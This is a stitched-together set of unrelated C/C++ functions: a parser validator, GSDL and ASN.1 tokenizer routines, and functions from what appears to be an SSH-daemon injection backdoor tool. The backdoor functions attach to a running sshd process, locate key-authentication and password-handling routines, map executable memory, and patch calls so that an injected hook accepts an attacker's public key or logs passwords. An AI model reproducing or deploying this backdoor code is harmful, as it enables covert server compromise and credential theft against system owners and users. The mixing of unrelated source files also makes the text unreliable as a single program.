void Parser::_validateInstruction() { auto next = _peek(); auto next_type = next.getType(); if (_instructionNeedOperand(*_pos)) { if (next.isOperand()) { _pos += 1; next = _peek(); next_type = next.getType(); if (next_type == Token::Sep) { return; } else { throw std::logic_error{"uexpected "+next.toString()+", need Sep or EOF"}; } } else { throw std::logic_error{"Unexpected :"+next.toString()+", need an Operand"}; } } else { if (next_type == Token::Sep || next_type == Token::EOF_) { return; } else { throw std::logic_error{"uexpected "+next.toString()+", need Sep or EOF"}; } } }
u64 resolve_call_insn(inject_ctx *ctx, u64 call_insn_addr) { u8 opcode; int call; _peek(ctx->pid, call_insn_addr, &opcode, 1); if (opcode != 0xe8) return 0; _peek(ctx->pid, call_insn_addr+1, &call, 4); return call_insn_addr + 5 + call; }
u64 inject_resolve_rexec(inject_ctx *ctx) { u64 rexec_flag = resolve_symbol_tab(ctx, "rexec_flag"); if (rexec_flag == 0) { u64 rexec_debug_lea = 0, rexec_test = 0; u32 rexec_flag_offset = 0; if (ctx->debug) info("could not resolve rexec_flag :(, trying alternative method.."); rexec_debug_lea = lea_by_debugstr( ctx, LEA_RDI, "Server will not fork when running in debugging mode." ); // find first call to getpid() from here u64 p_getpid = plt_by_name(ctx, "getpid"); if (ctx->debug) info("getpid@plt = 0x%lx", p_getpid); u64 adr = find_nearest_call(rexec_debug_lea, p_getpid); // next opcode is "cmp cs:???, 0 ? unsigned char opbytes[2]; _peek(ctx->pid, adr+5, opbytes, 2); if (memcmp(opbytes, "\x83\x3d", 2) == 0) { if (ctx->debug) info("found cmp:cs opcode.."); _peek(ctx->pid, adr+5+2, &rexec_flag_offset, 4); rexec_flag = adr+5+7+rexec_flag_offset; } else { // finally.. old method if (ctx->debug) info("trying final method.."); // Find the first 'test eax, eax' instruction after the debug string rexec_test = find_next_opcode(ctx, rexec_debug_lea, (u8*)"\x85\xc0", 2); // Get the rexec_flag offset from rip _peek(ctx->pid, rexec_test - 4, &rexec_flag_offset, 4); // Resolve absolute address of rip + rexec_flag_offset rexec_flag = rexec_test + rexec_flag_offset; } } return rexec_flag; }
static bool _tokenize_identifier(GSDLTokenizer *self, GSDLToken *result, gunichar c, GError **err) { int length = 7; char *output = result->val = g_malloc(length); GUnicodeType type; int i = g_unichar_to_utf8(c, output); while (_peek(self, &c, err) && (c == '-' || c == '.' || g_unichar_isalpha(c) || g_unichar_isdigit(c) || (type = g_unichar_type(c)) == G_UNICODE_CURRENCY_SYMBOL || type == G_UNICODE_CONNECT_PUNCTUATION || type == G_UNICODE_LETTER_NUMBER || type == G_UNICODE_SPACING_MARK || type == G_UNICODE_NON_SPACING_MARK)) { GROW_IF_NEEDED(output = result->val, i + 5, length); _consume(self); i += g_unichar_to_utf8(c, output + i); } FAIL_IF_ERR(); output[i] = '\0'; if ( strcmp(output, "true") == 0 || strcmp(output, "on") == 0 || strcmp(output, "false") == 0 || strcmp(output, "off") == 0) { result->type = T_BOOLEAN; } else if (strcmp(output, "null") == 0) { result->type = T_NULL; } return true; }
static bool _tokenize_string(GSDLTokenizer *self, GSDLToken *result, GError **err) { int length = 7; gunichar c; char *output = result->val = g_malloc(length); int i = 0; while (_peek(self, &c, err) && c != '"' && c != EOF) { GROW_IF_NEEDED(output = result->val, i, length); _consume(self); if (c == '\\') { _read(self, &c, err); switch (c) { case 'n': output[i++] = '\n'; break; case 'r': output[i++] = '\r'; break; case 't': output[i++] = '\t'; break; case '"': output[i++] = '"'; break; case '\'': output[i++] = '\"'; break; case '\\': output[i++] = '\\'; break; case '\r': _read(self, &c, err); case '\n': output[i++] = '\n'; while (_peek(self, &c, err) && (c == ' ' || c == '\t')) _consume(self); break; default: i += g_unichar_to_utf8(c, output + i); } } else { i += g_unichar_to_utf8(c, output + i); } } FAIL_IF_ERR(); output[i] = '\0'; return true; }
int st_asn1_peek(st_asn1_context context) { st_asn1_struct* ctx = (st_asn1_struct*) context; unsigned char constructed; unsigned char clazz; uint64 tag; uint64 length; if (((ctx->pos - ctx->data + 2) > ctx->datalength) || ((ctx->pos[0] == 0) && (ctx->pos[1] == 0)) || !_peek(ctx, &constructed, &clazz, &tag, &length)) return 0; if (clazz == UNIVERSAL) return (int) tag; else return -((int) tag); }
static bool _tokenize_binary(GSDLTokenizer *self, GSDLToken *result, GError **err) { int length = 7; gunichar c; char *output = result->val = g_malloc(length); int i = 0; while (_peek(self, &c, err) && c != ']' && c != EOF) { _consume(self); if (c < 256 && (isalpha((char) c) || isdigit((char) c) || strchr("+/=", (char) c))) { GROW_IF_NEEDED(output = result->val, i, length); output[i++] = (gunichar) c; } } FAIL_IF_ERR(); output[i] = '\0'; return true; }
static bool _tokenize_backquote_string(GSDLTokenizer *self, GSDLToken *result, GError **err) { int length = 7; gunichar c; char *output = result->val = g_malloc(length); int i = 0; while (_peek(self, &c, err) && c != '`' && c != EOF) { GROW_IF_NEEDED(output = result->val, i, length); _consume(self); if (c == '\r') _read(self, &c, err); i += g_unichar_to_utf8(c, output + i); } FAIL_IF_ERR(); output[i] = '\0'; return true; }
/** * gsdl_tokenizer_next: * @self: A valid %GSDLTokenizer. * @result: (out callee-allocates): A %GSDLToken to initialize and fill in. * @err: (out) (allow-none): Location to store any error, may be %NULL. * * Fetches the next token from the input. Depending on the source of input, may set an error in one * of the %GSDL_SYNTAX_ERROR, %G_IO_CHANNEL_ERROR, or %G_CONVERT_ERROR domains. * * Returns: Whether a token could be successfully read. */ bool gsdl_tokenizer_next(GSDLTokenizer *self, GSDLToken **result, GError **err) { gunichar c, nc; int line; int col; retry: line = self->line; col = self->col; if (!_read(self, &c, err)) return false; if (G_UNLIKELY(c == EOF)) { *result = _maketoken(T_EOF, line, col); return true; } else if (c == '\r') { if (_peek(self, &c, err) && c == '\n') _consume(self); *result = _maketoken('\n', line, col); FAIL_IF_ERR(); return true; } else if ((c == '/' && _peek(self, &nc, err) && nc == '/') || (c == '-' && _peek(self, &nc, err) && nc == '-') || c == '#') { if (c != '#') _consume(self); while (_peek(self, &c, err) && !(c == '\n' || c == EOF)) _consume(self); goto retry; } else if (c == '/' && _peek(self, &nc, err) && nc == '*') { while (_read(self, &c, err)) { if (c == EOF) { _set_error(err, self, GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR, "Unterminated comment" ); return false; } else if (c == '*' && _peek(self, &c, err) && c == '/') { _consume(self); break; } } goto retry; } else if (c < 256 && strchr("-+:;./{}=\n", (char) c)) { *result = _maketoken(c, line, col); return true; } else if (c < 256 && isdigit((char) c)) { *result = _maketoken(T_NUMBER, line, col); return _tokenize_number(self, *result, c, err); } else if (g_unichar_isalpha(c) || g_unichar_type(c) == G_UNICODE_CONNECT_PUNCTUATION || g_unichar_type(c) == G_UNICODE_CURRENCY_SYMBOL) { *result = _maketoken(T_IDENTIFIER, line, col); return _tokenize_identifier(self, *result, c, err); } else if (c == '[') { *result = _maketoken(T_BINARY, line, col); if (!_tokenize_binary(self, *result, err)) return false; REQUIRE(_read(self, &c, err)); if (c == ']') { return true; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_MISSING_DELIMITER, "Missing ']'" ); return false; } } else if (c == '"') { *result = _maketoken(T_STRING, line, col); if (!_tokenize_string(self, *result, err)) return false; REQUIRE(_read(self, &c, err)); if (c == '"') { return true; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_MISSING_DELIMITER, "Missing '\"'" ); return false; } } else if (c == '`') { *result = _maketoken(T_STRING, line, col); if (!_tokenize_backquote_string(self, *result, err)) return false; REQUIRE(_read(self, &c, err)); if (c == '`') { return true; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_MISSING_DELIMITER, "Missing '`'" ); return false; } } else if (c == '\'') { *result = _maketoken(T_CHAR, line, col); (*result)->val = g_malloc0(4); _read(self, &c, err); if (c == '\\') { _read(self, &c, err); switch (c) { case 'n': c = '\n'; break; case 'r': c = '\r'; break; case 't': c = '\t'; break; case '"': c = '"'; break; case '\'': c = '\''; break; case '\\': c = '\\'; break; } } g_unichar_to_utf8(c, (*result)->val); REQUIRE(_read(self, &c, err)); if (c == '\'') { return true; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_MISSING_DELIMITER, "Missing \"'\"" ); return false; } } else if (c == '\\' && _peek(self, &nc, err) && (nc == '\r' || nc == '\n')) { _consume(self); if (c == '\r') _read(self, &c, err); goto retry; } else if (c == ' ' || c == '\t') { // Do nothing goto retry; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR, g_strdup_printf("Invalid character '%s'(%d)", g_ucs4_to_utf8(&c, 1, NULL, NULL, NULL), c) ); return false; } }
//> Sub-tokenizers static bool _tokenize_number(GSDLTokenizer *self, GSDLToken *result, gunichar c, GError **err) { int length = 7; char *output = result->val = g_malloc(length); output[0] = c; int i = 1; while (_peek(self, &c, err) && c < 256 && isdigit(c)) { GROW_IF_NEEDED(output = result->val, i + 1, length); _consume(self); output[i++] = (gunichar) c; } FAIL_IF_ERR(); char *suffix = output + i; while (_peek(self, &c, err) && c < 256 && (isalpha(c) || isdigit(c))) { GROW_IF_NEEDED(output = result->val, i + 1, length); _consume(self); output[i++] = (gunichar) c; } FAIL_IF_ERR(); output[i] = '\0'; if (*suffix == '\0') { // Just a T_NUMBER if (c == ':') { _consume(self); result->type = T_TIME_PART; } else if (c == '/') { _consume(self); result->type = T_DATE_PART; } } else if (strcasecmp("bd", suffix) == 0) { result->type = T_DECIMAL_END; } else if (strcasecmp("d", suffix) == 0) { if (c == ':') { _consume(self); result->type = T_DAYS; } else { result->type = T_DOUBLE_END; } } else if (strcasecmp("f", suffix) == 0) { result->type = T_FLOAT_END; } else if (strcasecmp("l", suffix) == 0) { result->type = T_LONGINTEGER; } else { _set_error(err, self, GSDL_SYNTAX_ERROR_UNEXPECTED_CHAR, g_strdup_printf("Unexpected number suffix: \"%s\"", suffix)); return false; } *suffix = '\0'; return true; }
void backdoor_pubkey_install(inject_ctx *ctx, char *pubkey) { signature signatures[]={ { 0x1, "key_allowed", "trying public key file %s", 0 }, { 0x2, "restore_uid", "restore_uid: %u/%u" , 0 }, { 0x3, "key_new" , "key_new: RSA_new failed" , 0 }, { 0x4, "key_read" , "key_read: type mismatch: ", 0 }, { 0x5, "key_free" , "key_free: " , 0 }, }; u8 *evil_bin; int i; u32 callcache_total, num_key_allowed2_calls=0; char line[255]; callcache_entry *callcache, *entry; u64 user_key_allowed2_calls[MAX_KEY_ALLOWED_CALLS]; u64 diff=0, hole_addr=0, *import_table; evil_bin = malloc(hook_pubkey_bin_len); import_table = (u64*)(evil_bin + 8); memcpy(evil_bin, hook_pubkey_bin, hook_pubkey_bin_len); import_table[0] = ctx->config_addr; for(i = 0; i < sizeof(signatures) / sizeof(signature); i++) { if (ctx->uses_new_key_system == 0 || i < 2) { signatures[i].addr = sub_by_debugstr(ctx, signatures[i].str); } else { u64 f_dsa_new, f_bn_new, p_dsa_new, p_bn_new, callpair, callpair_b, p_rsa_free, p_dsa_free; switch(i) { case 2: // key_new f_dsa_new = resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_new" ); f_bn_new = resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_new" ); info("DSA_new@got = 0x%lx", f_dsa_new); info("BN_new@got = 0x%lx", f_bn_new); p_dsa_new = find_plt_entry(ctx, ctx->elf_base + f_dsa_new); p_bn_new = find_plt_entry(ctx, ctx->elf_base + f_bn_new); info("DSA_new@plt = 0x%lx", p_dsa_new); info("BN_new@plt = 0x%lx", p_bn_new); callpair = find_callpair(p_dsa_new, p_bn_new); info("yo we got a callpair for (DSA_new, BN_new) -> 0x%lx", callpair); signatures[i].addr = find_entrypoint(callpair); break; case 3: // key_read signatures[i].addr = prevcall_by_debugstr(ctx, "user_key_allowed: advance: "); break; case 4: // key_free p_rsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "RSA_free" )); p_dsa_free = find_plt_entry(ctx, ctx->elf_base + resolve_reloc( ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "DSA_free" )); info("RSA_free@plt = 0x%lx", p_rsa_free); info("DSA_free@plt = 0x%lx", p_dsa_free); callpair_b = find_callpair(p_rsa_free, p_dsa_free); if(callpair_b == 0) { callpair_b = find_callpair(p_dsa_free, p_rsa_free); } if(callpair_b != 0) { info("found callpair @ 0x%lx .. finding entrypoint..", callpair_b); signatures[i].addr = find_entrypoint_inner(callpair_b, 3); } else { error("could not find valid callpair to derive key_free()"); } break; default: error("WTF just happened!"); break; } } if (signatures[i].addr == 0) { error("%s not found :(\n", signatures[i].name); } sprintf(line, "%s\t\t= \x1b[37m0x%lx", signatures[i].name, signatures[i].addr - ctx->elf_base ); import_table[ signatures[i].import_id ] = signatures[i].addr; sprintf( line+strlen(line), " .. patched at offset 0x%lx in import table!", (signatures[i].import_id*8) & 0xffff ); info(line); } u64 f_BN_cmp = resolve_reloc(ctx->rela, ctx->rela_sz, ctx->dynsym, ctx->dynsym_sz, (char*)ctx->dynstr, "BN_cmp"); info("BN_cmp@got = 0x%lx", f_BN_cmp); u64 l_BN_cmp; _peek(ctx->pid, ctx->elf_base + f_BN_cmp, &l_BN_cmp, 8); info("BN_cmp@lib = 0x%lx", l_BN_cmp); import_table[6] = l_BN_cmp; callcache = get_callcache(); callcache_total = get_callcachetotal(); for(i=0; i<callcache_total; i++) { entry = &callcache[i]; if (entry->dest == signatures[0].addr && entry->type == CALLCACHE_TYPE_CALL) { info("found a 'call user_key_allowed' @ 0x%lx", entry->addr); user_key_allowed2_calls[num_key_allowed2_calls] = entry->addr; num_key_allowed2_calls++; } } if (num_key_allowed2_calls == 0) error("no call to user_key_allowed2 found :("); hole_addr = find_hole(ctx, user_key_allowed2_calls[0], 0x1000); if (hole_addr == 0) { error("unable to find neighborly hole."); } info("found usable hole @ 0x%lx", hole_addr); info2("entering critical phase"); _mmap( ctx, (void*)hole_addr, 0x1000, PROT_READ| PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, 0, 0 ); for(i=0; i<num_key_allowed2_calls; i++) { diff = 0x100000000-(user_key_allowed2_calls[i]-hole_addr)-5; info( "building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]", user_key_allowed2_calls[i], hole_addr, diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff ); _poke(ctx->pid, user_key_allowed2_calls[i]+1, &diff, 4); } _poke(ctx->pid, hole_addr, evil_bin, hook_pubkey_bin_len); for(i=0; i<hook_pubkey_bin_len; i++) { if (memcmp(evil_bin+i, "\xaa\xbb\xcc\xdd", 4) == 0) { info("inserting pubkey at offset %x in payload", i); _poke(ctx->pid, hole_addr+i, pubkey, strlen(pubkey)); } } info("poked evil_bin to 0x%lx.", hole_addr); }
void backdoor_password_install(inject_ctx *ctx) { u32 use_privsep_val=0; u64 use_privsep; u64 *mm_auth_password_calls = NULL; int i, n_mm_auth_password_calls; u64 diff=0, hole_addr=0; u8 *evil_bin; mod_banner("installing passlogger backdoor"); evil_bin = malloc(hook_passlog_bin_len); memcpy(evil_bin, hook_passlog_bin, hook_passlog_bin_len); u64 *import_table = (u64*)(evil_bin + 8); use_privsep = resolve_symbol_tab(ctx, "use_privsep"); if (use_privsep == 0) error("could not locate use_privsep :("); info("use_privsep\t\t= 0x%llx", use_privsep); _peek(ctx->pid, use_privsep, &use_privsep_val, 4); info("use_privsep\t\t= 0x%x", use_privsep_val); if (use_privsep_val == 0) { error("pass logging for PRIVSEP_OFF currently not supported."); } u64 mm_auth_password = sub_by_debugstr(ctx, "%s: waiting for MONITOR_ANS_AUTHPASSWORD"); info("mm_auth_password\t\t= 0x%llx", mm_auth_password); n_mm_auth_password_calls = find_calls(&mm_auth_password_calls, mm_auth_password); if (n_mm_auth_password_calls == 0) error("No calls to mm_auth_password found."); hole_addr = find_hole(ctx, mm_auth_password_calls[0], 0x1000); if (hole_addr == 0) { error("unable to find neighborly hole."); } info("found usable hole @ 0x%lx", hole_addr); _mmap( ctx, (void*)hole_addr, 0x1000, PROT_READ| PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_SHARED | MAP_FIXED, 0, 0 ); _peek(ctx->pid, use_privsep, &use_privsep_val, 4); // Patch mm_auth_password for (i = 0; i < n_mm_auth_password_calls; i++) { diff = 0x100000000-(mm_auth_password_calls[i]-hole_addr)-5; info( "building a bridge [0x%lx->0x%lx] .. opcode = [E8 %02X %02X %02X %02X]", mm_auth_password_calls[i], hole_addr, diff & 0xff, (diff>>8)&0xff, (diff>>16)&0xff, (diff>>24)&0xff ); _poke(ctx->pid, mm_auth_password_calls[i]+1, &diff, 4); } import_table[0] = ctx->config_addr; import_table[1] = mm_auth_password; _poke(ctx->pid, hole_addr, evil_bin, hook_passlog_bin_len); free(mm_auth_password_calls); }